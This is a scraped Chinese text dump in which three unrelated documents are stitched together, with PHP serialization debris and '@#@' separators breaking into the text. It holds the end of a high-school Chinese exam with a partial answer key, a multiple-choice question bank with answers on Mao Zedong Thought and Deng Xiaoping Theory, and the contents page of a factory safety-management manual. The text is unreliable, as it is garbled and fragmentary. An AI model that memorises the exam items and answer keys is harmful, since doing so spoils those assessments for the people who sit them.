@#@@#@14.下列对这诗句的理解，不正确的一项是（3分）（）@#@A.易水曾是战国时燕国的南界，在此送别友人，诗人自然而然地想起了历史上荆轲刺秦前易水诀别的故事，“壮士发冲冠”，就是对史载的送别时慷慨激越的悲壮场面的概括。

@#@@#@B.第二句用典，流露出诗人对荆轲的深深崇敬之意，也为下面的抒情准备了条件，酝酿了气氛。

@#@@#@C.第三句用一个“没”字作过渡，由咏古转到现实。

@#@人已经逝去，易水却仍然寒气未消，这两句意味着荆轲不畏强暴的高风亮节千载犹存，还包含了诗人对现实环境的深切感受。

@#@@#@D.诗中意象跳跃较大，但脉络清晰流畅，从始至终，一气呵成。

@#@平易中见工巧，语言浅近直白。

@#@@#@15.李岩认为：

@#@“昔时人已没，今日水犹寒’两句诗，是由陶渊明‘其人虽已没，千载有余情’之感演化而来，但有青出于蓝之功效。

@#@”你认为本诗最后两句好在哪里？

@#@请简要分析。

@#@（6分）@#@ @#@@#@（三）名篇名句默写（本题共1小题，6分）@#@16.补写出下列句子中的空缺部分。

@#@（6分）@#@

（1）毛泽东在湖南第一师范学校读书时常和同学到湘江游泳并写下了“自信人生二百年，会当水击三千里”这样气势豪迈的诗句，后来他在《沁园春·@#@长沙》中的两句诗“，”就是对这一时期这一生活的回忆，其实两者都是借写游泳言志。

@#@@#@

（2）徐志摩《再别康桥》中，用拟人的手法描绘一种叶子略呈圆形的生长在水底的植物的诗句是“，”。

@#@@#@（3）《烛之武退秦师》中，烛之武阐明了晋对秦的利害关系，希望秦伯能慎重考虑的句子是“，”。

@#@@#@三、语言文字运用（20分）@#@阅读下面的文字，完成17-19题。

@#@@#@2018年6月5日21时07分，风云二号H星在西昌卫星发射中心成功发射。

@#@H星是我国第一代静止轨道气象卫星的最后一颗，计划经4个月在轨测试后轨道向西调整，定点于东经79度的赤道上空，有助于提高我国天气系统上游地区的监测并为“一带一路”沿线国家的天气预报、防灾减灾等监测服务。

@#@@#@经过40多年发展，我国风云气象卫星取得了的成就。

@#@（），我国已成功发射了17颗气象卫星，有8颗卫星在轨运行，形成了风云一号、风云三号极轨气象卫星和风云二号、风云四号静止轨道气象卫星两大系列，并实现了升级换代。

@#@风云气象卫星已被世界气象组织纳入全球业务应用气象卫星序列，成为全球综合地球观测系统的重要成员，目前形成了我国风云系列气象卫星与欧、美气象卫星的局面。

@#@@#@总体来讲，我国和国际先进水平相比仍然有些差距，但是风云二号卫星有我们的特色，正在为全球80多个国家和地区、国内2500多家用户提供服务。

@#@在许多地方令世界同行，所以它获得国家科技进步一等奖也是的。

@#@@#@17.文中画横线的句子有语病，下列修改最恰当的一项是（3分）（）@#@A.有助于提高我国天气系统上游地区的监测能力和“一带一路”沿线国家的天气预报、防灾减灾等监测服务。

@#@@#@B.有助于完善我国天气系统上游地区的监测技术并为“一带一路”沿线国家提供天气预报、防灾减灾等监测水平。

@#@@#@C.有助于提高我国天气系统上游地区的监测能力，并为“一带一路”沿线国家提供天气预报、防灾减灾等监测服务。

@#@@#@D.有助于为“一带一路”沿线国家提供天气预报、防灾减灾等监测服务,并提高我国天气系统上游地区的监测能力。

@#@@#@18.下列在文中括号内补写的语句，最恰当的一项是（3分）（）@#@A.曾几何时，算上本次发射的风云二号H星@#@B.算上本次发射的风云二号H星，曾几何时@#@C.到目前为止，算上本次发射的风云二号H星@#@D.算上本次发射的风云二号H星,到目前为止@#@19.依次填入文中横线上的成语，全都恰当的一项是（3分）（）@#@A.引人注目三足鼎立自惭形秽实至名归@#@B.令人瞩目三足鼎立刮目相看当之无愧@#@C.引人注目旗鼓相当自惭形秽实至名归@#@D.令人瞩目旗鼓相当刮目相看当之无愧@#@20.下面是一封书信的正文部分，其中有五处不合书面语体的要求，请找出并作修改。

@#@（5分）@#@拜读您的大作之后，后学就您所论述的“知行”问题深感纳闷，后学见识少，对您文中的许多观点不敢苟同，想和您聊聊。

@#@于是在仔细研读大量原典文献之后，反复寻思，今涂鸦一文和您商量，遥寄给您，恳请您批评指正、不吝赐教。

@#@@#@答：

@#@①改为；@#@@#@②改为；@#@@#@③改为；@#@@#@④改为；@#@@#@⑤改为。

@#@@#@21.下面是某教师在讲授《烛之武退秦师》时的板书设计，请以“烛之武”为开头，把该设计中的主要内容改写成一段话，要求内容完整，语言连贯，不超过120字。

@#@（6分）@#@答：

@#@@#@@#@四、写作（60分）@#@22.阅读下面的材料，按要求作文。

@#@（60分）@#@人们把有船摆渡过河的地方称为“渡口”，藉此由此岸渡向彼岸。

@#@同时，“渡口”也是一个有着丰富内涵的文化意象，人们常要面对岁月的渡口、情感的渡口、生命的渡口等无形的渡口。

@#@@#@请以“渡口”为题，写一篇记叙文，立意自定，不要套作或抄袭，字数不少于800字。

@#@@#@高一月考语文参考答案@#@1.C【解析】A项“写的都是作者自己的人生故事”错，无中生有，原文第二段只是说“诗词中大多寄托着作者的情感体悟”，并没有说“写的都是作者自己的人生故事”。

@#@B项，“只能采取整体感知的方法”错，表述绝对，原文第三段说“对诗词的欣赏研究……必须营造出自洽而完整的意境”，可见“整体感知”是欣赏研究诗词应遵循的原则，但不能说是唯一的方法。

@#@D项，“用大数据研究诗词只能获得理性认识”错，曲解文意，原文说“只能得出某些外在印象”，并没有说“只能获得理性认识”。

@#@@#@2.A【解析】本文并非持一种简单的“反技术论”只是想强调不能滥用技术，不能遮蔽孩子的";i:

20;s:

25525:

"毛概复习上下@#@《毛泽东思想、邓小平理论和“三个代表”重要思想概论》@#@选择题题库@#@一、单项选择题@#@1.最先提出“使马克思主义在中国具体化”这一伟大任务的是（C）@#@A.陈独秀B.王稼祥C.毛泽东D.刘少奇@#@2.毛泽东最早提出“使马克思主义在中国具体化”科学命题的会议是（C）@#@A.遵义会议B.瓦窑堡会议C.中共六届六中全会D.中共六届七中全会@#@3.中国共产党明确把毛泽东思想作为党的指导思想写进党章的会议是（C）@#@A．中共五大B．中共六大C．中共七大D．中共八大@#@4．邓小平理论形成的时代主题是（B）@#@A．战争与革命B．和平与发展C．机遇与挑战D．知识经济与信息革命@#@5．把邓小平理论确立为党的指导思想是在（D）@#@A．十二大B．十三大C．十四大D．十五大@#@6.中国共产党第三代领导集体理论创新成果的最高概括是（D）@#@A．“科教兴国”战略B．“以德治国”基本方略@#@C．“依法治国”基本方略D．“三个代表”重要思想@#@7.贯彻“三个代表”重要思想，关键在坚持（A）@#@A.与时俱进B.党的先进性C.执政为民D.执政兴国@#@8.20世纪中国发生的第一次历史性巨变是（A）@#@A．辛亥革命B．国民革命C．北伐战争D．抗日战争@#@9．中国革命由旧民主主义向新民主主义转变的标志是（C）@#@A．辛亥革命B．新文化运动C．五四运动D．国民革命运动@#@10．区分新旧民主主义革命的根本标志是（D）@#@A．革命对象不同B．革命动力不同@#@C．革命前途不同D．革命领导阶级不同@#@11．新民主主义革命总路线的核心是（A）@#@A．无产阶级的领导B．人民大众的参与@#@C．工农联盟的巩固D．人民军队的建设@#@12．近代中国民主革命的主力军是（B）@#@A．工人阶级B．农民阶级C．小资产阶级D．知识分子@#@13．中国无产阶级在新民主主义革命中最可靠的同盟军是（B）@#@A．民族资产阶级B．农民阶级C．小资产阶级D．大资产阶级@#@14.“工农武装割据”的中心内容是（B）@#@A.军队建设B.土地革命C.政权建设D.党的领导@#@15.中国新民主主义革命的中心内容是（B）@#@A.没收帝国主义在华财产归新民主主义国家所有@#@B.没收封建地主阶级的土地归农民所有@#@C.没收四大家族的官僚资本归新民主主义国家所有@#@D.没收民族资产阶级的财产归新民主主义国家所有@#@16.毛泽东人民战争战略战术思想的核心是（A）@#@A.积极防御的思想B.集中优势兵力打歼灭战的思想@#@C.战略进攻和战略决战的思想D.战略上藐视敌人，战术上重视敌人的思想@#@17.毛泽东指出人民军队建设的最根本原则（A）@#@A.党指挥枪B.官兵一致C.军民一致D.民主建军@#@18.毛泽东指出：

@#@红色政权能够存在和发展的根本原因是（A）@#@A.中国是一个经济政治发展极端不平衡的半殖民地半封建大国@#@B.国民革命的政治影响及良好的群众基础@#@C.全国革命形势的继续发展@#@D.相当力量的正式红军的存在以及共产党组织的坚强有力和正确领导@#@19.新民主主义革命统一战线的主体是（B）@#@A.无产阶级和小资产阶级联盟B.劳动者联盟@#@C.非劳动者联盟D.劳动者与非劳动者联盟@#@20.中国共产党建党有一个良好的思想基础，因为党一开始就坚持了（C）@#@A.实事求是的思想路线B.民主集中制的组织原则@#@C.列宁主义的建党原则D.毛泽东思想的建党原则@#@21.中国共产党内产生“左”右倾机会主义错误的主要思想根源是（B）@#@A.资产阶级思想B.小资产阶级思想@#@C.封建主义思想D.修正主义思想@#@22.党内矛盾和党内斗争的实质是（A）@#@A.思想斗争B.路线斗争C.阶级斗争D.群众斗争@#@23.毛泽东建党思想中最核心的内容和最主要的特点是（A）@#@A.着重于从思想上建设党B.加强党的组织建设@#@C.加强党员的党性修养D.保持党的优良作风@#@24.毛泽东首次提出中国共产党的三大优良作风的会议是（B）@#@A.中共六届六中全会B.中共七大C.中共七届二中全会D.中共八大@#@25.中国新民主主义社会属于（B）@#@A.资本主义体系B.社会主义体系C.民主主义体系D.共产主义体系@#@26.新中国初期建立社会主义国营经济的主要途径是（B）@#@A.没收帝国主义在华企业B.没收官僚资本@#@C.赎买民族资产阶级的财产D.剥夺地主阶级的财产@#@27.中国共产党在过渡时期总路线的主体是（D）@#@A.对农业的社会主义改造B.对资本主义工商业的社会主义改造@#@C.对手工业的社会主义改造D.实现国家的社会主义工业化@#@28.我国农业合作化采取的第一个步骤是（A）@#@A.互助组B.初级农业生产合作社C.高级农业生产合作社D.人民公社@#@29.我国对资本主义工商业社会主义改造采取的政策是（D）@#@A.加工定货B.统购统销C.公私合营D.和平赎买@#@30.社会主义制度在中国确立的主要标志是（D）@#@A.中华人民共和国的成立B.国民经济的恢复与调整@#@C.《中华人民共和国宪法》的颁布D.社会主义改造的胜利完成@#@31.社会主义的根本任务是（B）@#@A．巩固人民民主专政B．发展生产力@#@C．消灭剥削，消除两极分化D．满足人民群众日益增长的物质文化需要@#@32.我国社会主义初级阶段的主要矛盾是（B）@#@A．落后的生产力同先进的生产关系的矛盾@#@B．人民日益增长的物质文化需要同落后社会生产之间的矛盾@#@C．商品经济和计划经济的矛盾@#@D．无产阶级和资产阶级的矛盾@#@33.邓小平明确提出社会主义本质的著名论断是在（D）@#@A．党的十一届三中全会上B．党的十二大上@#@C．党的十三大上D．1992年的南方谈话中@#@34.社会主义初级阶段的主要矛盾决定了我们的中心任务是（B）@#@A．建立社会主义市场经济B．以经济建设为中心，发展社会生产力@#@C．实现经济增长方式和经济体制的根本转变D．保持社会稳定@#@35.社会主义的根本原则是（D）@#@A．发展生产，不断增加社会财富B．改革开放，增强综合国力@#@C．实行按劳分配，改善人民生活D．坚持以公有制为主体，实现共同富裕@#@36.建设有中国特色社会主义的首要的基本的理论问题是（D）@#@A．解放思想、实事求是B．大力发展社会生产力@#@C．一切从社会主义初级阶段出发D．什么是社会主义、怎样建设社会主义@#@37.一切从实际出发，我国最大的实际是（A）@#@A.处于并将长期处于社会主义初级阶段B.人口多、资源相对不足@#@C.生产力不发达，发展不平衡D.商品经济不发达@#@38.我国社会主义初级阶段是指（Ｄ）@#@A.从社会主义制度建立到基本实现四个现代化@#@B.从新中国成立到社会主义制度建立@#@C.从社会主义改造完成到进入小康社会@#@D.从社会主义改造完成到社会主义现代化基本实现@#@39.坚持党的基本路线不动摇，关键是（B）@#@A.坚持四项基本原则不动摇B.坚持以经济建设为中心不动摇@#@C.坚持党的领导不动摇D.坚持改革开放不动摇@#@40.我党第一次全面系统阐述社会主义初级阶段理论，是在党的（C）@#@A.十一届三中全会B.十二大C.十三大D.十四大@#@41.社会主义发展的动力是（B）@#@A.革命B.改革C.阶级斗争D.无产阶级专政@#@42.我国社会主义初级阶段的历史任务是（C）@#@A.解决人民温饱B.实现人民小康生活水平@#@C.基本实现现代化，人民生活比较富裕D.基本实现现代化，达到发达国家水平@#@43.我国社会主义建设的战略目标是（Ｄ）@#@Ａ.实现农业、工业、国防和科技现代化@#@Ｂ.实现工业化和经济的社会化、市场化和现代化@#@Ｃ.实现政治、经济、文化现代化@#@Ｄ.把我国建设成为富强、民主、文明、和谐的社会主义现代化国家@#@44.邓小平提出的地区经济发展的战略构想是（Ｄ）@#@Ａ.各地区均衡发展Ｂ.各地区非均衡发展@#@Ｃ.由西向东梯次推进Ｄ.由东向西梯次推进@#@45.实施可持续发展战略必须正确处理好（Ｃ）@#@Ａ.改造自然与保护耕地的关系@#@Ｂ.发现资源与利用资源的关系@#@Ｃ.经济发展与人口、资源、环境的关系@#@Ｄ.治理环境与预防疾病传染的关系@#@46.实施科教兴国战略，主要是使经济建设真正转变到依靠（Ｃ）@#@Ａ.科学研究和科技开发的轨道上来@#@Ｂ.提高劳动者和管理者的能力的轨道上来@#@Ｃ.科技进步和提高劳动者素质的轨道上来@#@Ｄ.科研与生产相结合的轨道上来@#@47.邓小平同志历来十分重视农业问题。

@#@他强调指出：

@#@农业是根本，不要忘掉。

@#@农业问题搞不好，工业就没有希望，吃、穿、用的问题也解决不了。

@#@他还告诫说：

@#@90年代经济如果出问题，很可能出在农业上；@#@如果农业出了问题，多少年缓不过来，整个经济和社会发展的全局就要受到严重影响。

@#@这些话的意思体现了农业（B）@#@A.是我国国民经济中的第一产业B.在国民经济中处于基础地位@#@C.对国民经济的发展起主导作用D.是经济现代化的重要特征@#@48.股份制是（D）@#@A.资本主义私有制经济B.一种行业自律形式@#@C.社会主义公有制经济D.现代企业的一种资本组织形式@#@49.社会主义市场经济的基本标志是（D）@#@A.市场对资源配置起基础性作用B.国家对国民经济进行宏观调控@#@C.建立现代企业制度D.坚持公有制的主体地位@#@50.公有制实现形式，具体是指（C）@#@A.社会主义经济制度的实现形式B.公有资产的所有、占有、支配、使用的关系@#@C.公有资产的组织形式D.公有资产的最终归属问题@#@51.我国经济体制改革的目标是建立（B）@#@A.现代企业制度B.社会主义市场经济体制@#@C.宏观经济调控制D.统一开放的市场体系@#@52.在社会主义市场经济条件下，市场机制（A）@#@A.对资源配置起基础性作用B.能确保经济总量的平衡@#@C.可实现经济结构的平衡D.可保障社会公平@#@53.在我国现阶段的所有制结构中，国有经济对经济发展起主导作用，这种主导作用体现在（C）@#@A.在社会总资产中占量的优势B.在所有制结构中占主体地位@#@C.对国民经济发展的控制力上D.是下岗人员再就业的主渠道@#@54.中国特色社会主义政治文明的本质特点是（B）@#@A.无产阶级政党的领导B.人民当家作主C.维护社会主义制度D.依法治国@#@55.我国的根本政治制度是（A）@#@A.人民代表大会制度B.共产党领导的多党合作和政治协商制度@#@C.民族区域自治制度D.民主集中制@#@56.人民政协的主要职能是（D）A.政治协商B.民主监督C.参政议政D.政治协商、民主监督和参政议政@#@57.我国政治体制改革的性质是（C）@#@A.社会主义国家政体的改变B.社会主义国家国体的改变@#@C.社会主义政治制度的自我完善和发展D.人民代表大会制度的自我完善和发展@#@58.我国人民民主专政实质上是（D）@#@A.共产党一党专政B.工农联合专政C.共产党领导的多党联合专政D.无产阶级专政@#@59.我国的政体是（B）A.人民民主专政B.人民代表大会制度@#@C.共产党领导下的多党合作和政治协商制度D.民族区域自治制度@#@60.我国人民代表大会制度组织和活动的基本原则是（C）@#@A.人民当家作主的原则B.公平、公正、公开的原则@#@C.民主集中制原则D.在宪法和法律范围内活动的原则@#@61.发展中国特色社会主义先进文化的重要内容和中心环节是（B）@#@A.弘扬和培育民族精神B.加强社会主义思想道德建设@#@C.大力发展教育事业D.实施科教兴国战略@#@62.中华民族民族精神的核心是（B）@#@A.社会主义B.爱国主义C.集体主义D.马克思主义@#@63.在社会主义文化建设中起着主导作用，居于决定性的支配地位的是（A）@#@A.思想道德建设B.教育科学文化建设C.思想建设D.道德建设@#@64.社会主义道德的核心是（D）@#@A.集体主义B.爱国主义C.社会主义D.为人民服务@#@65.发展社会主义文化必须坚持的方向是（C）@#@A.为党的工作服务，为经济发展服务B.为社会稳定服务，为经济发展服务@#@C.为人民服务，为社会主义服务D.为物质文明建设和精神文明建设服务@#@66.有中国特色社会主义文化建设的根本是（A）@#@A.在全社会形成共同理想和精神支柱B.发展教育和科学@#@C.营造良好的文化环境D.深化文化体制改革@#@67.社会主义文化建设的根本任务是（A）@#@A.提高整个中华民族的思想道德素质和科学文化素质B.促进社会主义物质文明建设@#@C.促进我国综合国力的提高D.提高社会主义生活质量@#@68.50年代中期，代表中国政府第一次公开提出“和平解决台湾”主张的是（B）@#@A.毛泽东B.周恩来C.邓小平D.叶剑英@#@69.最早提出两岸尽快实现通邮、通航、通商“三通”建议的文献是（B）@#@A.党的十一届三中全会公报B.全国人大常委会《告台湾同胞书》@#@C.《中国大陆和台湾和平统一的设想》D.《为促进祖国统一大业的完成而继续奋斗》@#@70.“一国两制”构想的提出，是从解决（B）@#@A.香港问题开始的B.台湾问题开始的@#@C.澳门问题开始的D.香港和澳门问题开始的@#@71.“一国两制”的基础和前提是（A）@#@A.国家主权统一于中华人民共和国B.港、澳、台地区实行高度自治@#@C.港、澳、台地区保持繁荣稳定D.港、澳、台地区保持原有的资本主义制度50年不变@#@72.台湾问题的本质是（A）@#@A.中国的内政问题Ｂ.中国同美国的关系问题@#@Ｃ.中国同日本的关系问题Ｄ.共产党与国民党的关系问题@#@73.邓小平提出的解决某些国际领土争端的新思想。

@#@下列选项中，正确的选项是（Ｄ）@#@A.搁置主权，分而治之B.搁置主权，共同治理@#@C.搁置主权，和平共处D.搁置主权，共同开发@#@74.我国独立自主的和平外交政策，应坚持把（C）@#@A.发展对外经济关系放在首位B.发展睦邻友好关系放在首位@#@C.维护国家主权和国家利益放在首位D.反对霸权主义、强权政治放在首位@#@75.当前国际间的经济竞争实质上是（B）@#@A.社会制度的竞争B.科学技术的竞争@#@C.经济资源的竞争D.军事力量的竞争@#@76.建立国际政治经济新秩序的长期斗争中，必须始终（C）@#@A.以人权高于主权的原则为基础B.以不结盟原则为基础@#@C.以和平共处五项原则为基础D.以自由、平等原则为基础@#@77.南北差距不断加大的原因是（C）@#@A.南方的国民素质低下B.南方的技术条件差@#@C.不合理不公正的国际经济秩序D.北方国家援助较少@#@78.20世纪70年代，美苏争霸出现了苏攻美守的态势。

@#@中国审时度势，提出了（D）的外交战略？

@#@@#@A.一边倒B.另起炉灶C.打扫干净屋子再请客D.一条线、一大片@#@79.我国的民主党派是（D）@#@A.执政党B.反对党C.在野党D.参政党@#@80.解决我国民族问题的基本原则是（A）@#@A.坚持民族平等.民族团结和民族共同繁荣@#@B.铲除民族压迫，消除各民族之间事实上的不平等@#@C.反对大汉族主义和地方民族主义@#@D.爱国主义与国际主义相结合@#@81.民族区域自治的核心，是（A）@#@A.保障少数民族当家作主，管理本民族、本地方事务的权利@#@B.高度自治，繁荣稳定C.民族平等，共同繁荣D.民族团结，国家统一@#@82.新时期爱国统一战线是（A）@#@A.工人阶级领导的，工农联盟为基础的，全体社会主义劳动者、拥护社会主义的爱国者和拥护祖国统一的爱国者的广泛联盟@#@B.以爱国主义和社会主义为政治基础的全体劳动者和爱国者联盟@#@C.拥护社会主义的爱国者和拥护祖国统一的爱国者的联盟@#@D.以工农联盟为基础的党与非党的特殊联盟@#@83.中国共产党是中国革命和建设事业的领导核心，党的这种领导地位是由（B）@#@A.党的宗旨决定的B.党的性质决定的@#@C.党的路线决定的D.党纲党章规定的@#@84.中国共产党的根本组织原则是（C）@#@A.集体领导和个人分工负责相结合B.党的代表大会制度和各级党委领导制@#@C.民主集中制D.少数服从多数，多数照顾少数@#@85.中国共产党的宗旨是（C）@#@A.实现社会主义现代化B.坚持党的基本路线不动摇@#@C.全心全意为人民服务D.实现共产主义@#@86.科学发展观的本质是（B）@#@A.要实现经济社会更快更好的发展B.坚持以人为本C.全面发展D.快速发展@#@87.科学发展观的实质是（D）@#@A.五个统筹B.发展是执政兴国的第一要务@#@C.坚持以人为本D.要实现经济社会更快更好的发展@#@88.发展的最终目的是（A）@#@A.为了实现最广大人民的根本利益B.为了提升我国的国际声誉@#@C.实现区域经济的全面协调发展D.为改革开放提供一个更好的环境@#@89.科学发展观的实质和根本着眼点是（B）@#@A.解决前进道路上面临的矛盾和问题B.实现经济社会更快更好的发展@#@C.处理好改革发展稳定的关系D.可持续发展@#@90.我们党执政兴国的第一要务是（B）@#@A.坚持改革开放B.发展C.坚持执政为民D.坚持可持续发展@#@91.毛泽东确立的党的思想路线的内容是（B）@#@A.解放思想B.实事求是C.与时俱进D.求真务实@#@92.毛泽东对"@#@实事求是"@#@的成语进行马克思主义解释的那篇著名的文章是（D）@#@A.《反对本本主义》B.《实践论》C.《矛盾论》D.《改造我们的学习》@#@93.党的教条主义的突出表现是（C）@#@A.主观主义B.党八股C.照搬马克思主义的本本D.思想僵化@#@94.邓小平根据新形势的需要丰富和发展了党的思想路线,表现在他突出强调（A）@#@A.解放思想的重要性B.实事求是的重要性@#@C.拨乱反正的重要性D.以经济建设为中心的重要性@#@95.1978年5月,邓小平支持和领导了关于真理标准问题的大讨论,实质就在于（D）@#@A.坚持社会主义道路B.坚持改革开放@#@C.坚持以经济建设为中心D.恢复党的实事求是的思想路线@#@96.中共十六大通过的新党章明确地指出,党的思想路线是（D）@#@A.解放思想，实事求是，走自已的路@#@B.解放思想，与时俱进，开拓创新@#@C.解放思想，与时俱进，求真务实，开拓创新@#@D.一切从实际出发，理论联系实际，实事求是，在实践中检验真理和发展真理@#@二、多项选择题@#@1.毛泽东思想的科学含义是（ABC）@#@A．马克思列宁主义在中国的运用和发展@#@B．被实践证明了的关于中国革命和建设的正确的理论原则和经验总结@#@C．中国共产党集体智慧的结晶@#@D．夺取中国革命胜利的理论武器@#@2.中国共产党内在如何运用马克思主义基本原理来解决中国革命实践中的问题上，曾经出现过的主要错误倾向是（AD）@#@A．教条主义B．实用主义C．盲动主义D．经验主义@#@3.毛泽东思想有多方面的丰富内容，除了关于新民主主义革命理论外，还包括（ABCD）@#@A．关于社会主义革命和社会主义建设的理论@#@B．关于革命军队建设和军事战略的理论@#@C．关于思想政治工作和文化工作的理论@#@D．关于政策和策略的理论和关于党的建设的理论@#@4．邓小平理论是一个（ABD）@#@A．比较完整的科学体系B．开放的理论体系@#@C．当今世界唯一科学的理论体系D．需要不断丰富和发展的理论体系@#@5.土地革命战争前期，工农民主专政的主体包括（ABC）@#@A.工人阶级B.农民阶级C.城市小资产阶级D.中等资产阶级@#@6．近代中国人民反对帝国主义及其走狗的武装斗争有（ACD）@#@A.太平天国运动B.戊戌变法C.辛亥革命D.解放战争@#@7.近代中国革命的对象是（ABD）@#@A.帝国主义B.封建主义C.民族资产阶级D.官僚资本主义@#@8.标志毛泽东思想初步形成的著作是（ABCD）@#@A.《中国的红色政权为什么能够存在?

@#@》B.《井冈山的斗争》@#@C.《星星之火，可以燎原》D.《反对本本主义》@#@9.1928年～1930年间，毛泽东撰写的有关中国革命道路理论的重要著作有（ABD）@#@A.《井冈山的斗争》B.《中国的红色政权为什么能够存在?

@#@》@#@C.《中国革命战争的战略问题》D.《星星之火，可以燎原》@#@10.20世纪20年代后期30年代前期，中共党内的主要错误倾向是（ABC）@#@A.把马克思主义教条化B.把共产国际决议神圣化@#@C.把苏联经验神圣化D.把中国革命经验神圣化@#@11.中国共产党在抗日民族统一战线中对这一原则的依据是（ABCD）@#@A.中共整个统一战线的政策是综合联合和斗争两方面的政策@#@B.大地主大资产阶级的亲英美派和汉奸亲日派是有区别的@#@C.顽固派在抗日方面有既抗日又动摇但不愿投降的两面性@#@D.顽固派在联共方面有既联共又反共但不愿决裂的两面性@#@12.土地革命战争前期，工农民主专政的主体包括（ABC）@#@A.工人阶级B.农民阶级C.城市小资产阶级D.中等资产阶级@#@13.正确开展反对党内错误倾向的斗争，应把握的基本原则有（ABCD）@#@A.调查研究，实事求是@#@B.认真吸取经验教训，反“右”时要注意防“左”@#@C.正确认识“左”和“右”的根源、实质和危害@#@D.必须根据具体情况决定方针@#@14.国民革命时期，国民党改组成为政治联盟的革命阶级是（ABCD）@#@A.工人阶级B.农民阶级C.民族资产阶级D.城市小资产阶级@#@15.建国初期，建立社会主义国营经济的主要途径有（AB）@#@A.没收四大家族的官僚垄断资本@#@B.对外国资本主义在华的企业采取管制、征用等做法，使之逐步归国家所有@#@C.没收民族资本家的企业D.没收地主阶级的土地@#@16.党在过渡时期的总路线主要内容是（BD）@#@A.没收官僚垄断资本B.逐步实现对农业、手工业、资本主义工商业的社会主义改造@#@C.没收地主的土地D.逐步实现社会主义的工业化@#@17.1960年初，毛泽东在读苏联《政治经济学教科书》时，把社会主义社会划分为（AC）@#@A.不发达的社会主义阶段B.发达的社会主义阶段@#@C.比较发达的社会主义阶段D.社会主义低级阶段@#@18.过渡时期总路线的“两翼”是指（BCD）@#@A.实现社会主义工业化B.实现对资本主义工商业的社会主义改造@#@C.实现对农业的社会主义改造D.实现对手工业的社会主义改造@#@19.社会主义本质表述的内容，包含（ACD）@#@A．解放生产力，发展生产力B．建立社会主义市场经济@#@C．消灭剥削，消除两极分化D．最终达到共同富裕@#@20.解放生产力和发展生产力的关系是（ABCD）@#@A．解放生产力是发展生产力的前提@#@B．发展生产力是解放生产力的目的@#@C．生产力和生产关系的统一@#@D．两者是社会主义根本任务和最终目的的统一@#@21.邓小平反复强调社会主义最根本任务是发展生产力，是因为（ABCD）@#@A．大力发展生产力是马克思主义的一个重要思想，是实现共产主义的物质基础@#@B．发展生产力，是社会主义本质的内在要求@#@C．发展生产力，是显示社会主义制度优越性和巩固社会主义制度的需要@#@D．当前发展生产力是解决社会主义初级阶段主要矛盾的根本手段@#@22.邓小平关于“三个有利于”标准的理论依据是（ACD）@#@A．马克思主义关于社会主义发展最终决定力量是生产力的原理@#@B．马克思主义关于社会主义建设发展战略的原理@#@C．马克思主义关于社会主义生产目的的原理@#@D．马克思主义关于社会主义初级阶段的主要矛盾的原理@#@23.党在社会主义初级阶段基本路线的主要内容是（ABCD）@#@A.以经济建设为中心B.坚持四项基本原则@#@C.坚持改革开放D.自力更生.艰苦创业@#@24.党在社会主义初级阶段的基本纲领包括（ABC）@#@A.建设有中国特色社会主义的经济B.建设有中国特色社会主义的政治@#@C.建设有中国特色社会主义的文化D.建设有中国特色社会主义的国防@#@25.建设有中国特色社会主义文化就是（ABCD）@#@A.以马克思主义为指导";i:

21;s:

24584:

"安全生产管理制度汇编1@#@安全生产方针目标@#@方针@#@安全第一，预防为主；@#@以人为本，控制风险；@#@改善环境，保护健康；@#@持续改进，和谐发展。

@#@@#@ @#@@#@目标@#@1.百万工时死亡率重伤率为零。

@#@@#@2.不出现职业病危害事故。

@#@@#@3.杜绝火灾.爆炸和环境污染事故。

@#@@#@4.三级安全教育率为100%@#@5.安全隐患整改率为100%@#@ @#@@#@目录@#@第一部分安全生产责任制...........................................................8@#@一.总经理安全生产责任制..................................................................8@#@二.生产副总经理安全生产责制..........................................................9@#@三.主管安全副经理安全生产责任制………………………………10@#@四.其他副经理安全生产责任制……………………………………11@#@五.总工程师安全生产责任制………………………………………12@#@六.工会主席（工会）安全生产责任制……………………………12@#@七.生产科正副科长.调度员安全生产制…………………………...13@#@八.设备动力科科长安全生产责任制……………………………...14.@#@九.车间正副主任安全生产责任制………………………………...15.@#@十.安全环保科长安全生产责任制………………………………...16@#@十一.专业技术人员安全生产责任制………………………………17@#@十二.保卫科正副科长安全生产责任制……………………………18@#@十三.各管理科室负责人安全生产责任制…………………………18@#@十四.班组长安全生产责制...............................................................20@#@十五.职工安全生产责任...................................................................21@#@十六.各级安全组织及安全人员职责范围………………………...22@#@

（一）安全检查委员会职责范围....................................................22@#@

（二）专职安检员职责条例............................................................23@#@（三）车间.科室安全主任.安委会委员工作职责……………….24@#@（四）班组安全员职责...................................................................26@#@第二部分安全生产管理度.......................................................27@#@一.安全生产检查制度......................................................................27.@#@二.安全教育培训考核制度..............................................................28.@#@三.安全生产工作例会制度………………………………………..29@#@四.安全检查和隐患整改管理制度……………………………….31@#@五.安全作业管理制度…………………………………………….35@#@六.相关方安全管理制度…………………………………………48@#@七.现场安全管理制度……………………………………………..60@#@八.危险作业管理制度………………………………………………63@#@九.电气安全管理制度………………………………………………66@#@十.隐患排查治理制度………………………………………………75@#@十一.建设项目安全设施“三同时”管理制度……………………78@#@十二.安全生产费用提取及管理制度………………………………82@#@十三.危险物品管理制度……………………………………………85@#@十四.重大危险源监控和重大隐患整改制度...................................88@#@十五.职业卫生管理制度…………………………………………...88@#@十六.安全设备管理和检修.维修制度…………………………….90@#@十七.生产安全事故报告和调查处理制度.......................................91@#@十八.安全生产奖惩和责任追究制度...............................................92@#@十九.安全生产文件和档案管理制度...............................................93.@#@二十.消防安全管理制度..................................................................94@#@二十一.劳动保护用品发放管理制度...............................................95@#@二十二.特种作业人员管理制度.......................................................96@#@二十三.建设项目安全管理制度.......................................................98@#@二十四.安全生产副职持证上岗制度...............................................99@#@第三部分安全生产操作规程....................................................99@#@1、电动葫芦安全操作规程..............................................................99@#@2、电脑操作安全生产职责.............................................................100@#@3、普工、勤杂工安全生产职责及安全操作规程.........................101@#@4、中控室操作员安全操作规程.....................................................103@#@5、电器设备故障复位安全操作规程.............................................105@#@6、水泥磨巡检工安全操作规程.....................................................105@#@7、包装值班室职工安全操作规程.................................................108@#@8、设备巡检工安全操作规程.........................................................109@#@9、装载机司机安全操作规程.........................................................110@#@10、样品制备职工安全操作规程...................................................114@#@11、取样工安全操作规程...............................................................114@#@12、质量调度职工安全操作规程...................................................116@#@13、混凝土压力机职工安全操作规程...........................................117@#@14、汽车司机安全操作规程...........................................................118@#@15、仓库保管员安全规程...............................................................120@#@16.打球作业，打雪人作业……………………………………………….121@#@17.斗式提升机作业……………………………………………………….123@#@18.风机作业…………………………………………………………………124@#@19.篦冷机作业………………………………………………………………125@#@20.煤系统巡检作业……………